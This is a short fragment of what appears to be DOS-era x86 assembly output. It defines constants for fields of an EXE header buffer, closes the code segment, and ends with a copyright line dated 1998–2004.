buf_file        equ     002000h
PageCnt         equ     buf_file+4   ;002004h
ReloCnt         equ     buf_file+6   ;002006h
HdrSize         equ     buf_file+8   ;002008h
MaxMem          equ     buf_file+0ch ;00200ch
TablOff         equ     buf_file+18h ;002018h
cseg            ends
                end     o00100



(C) NF, 1998-2004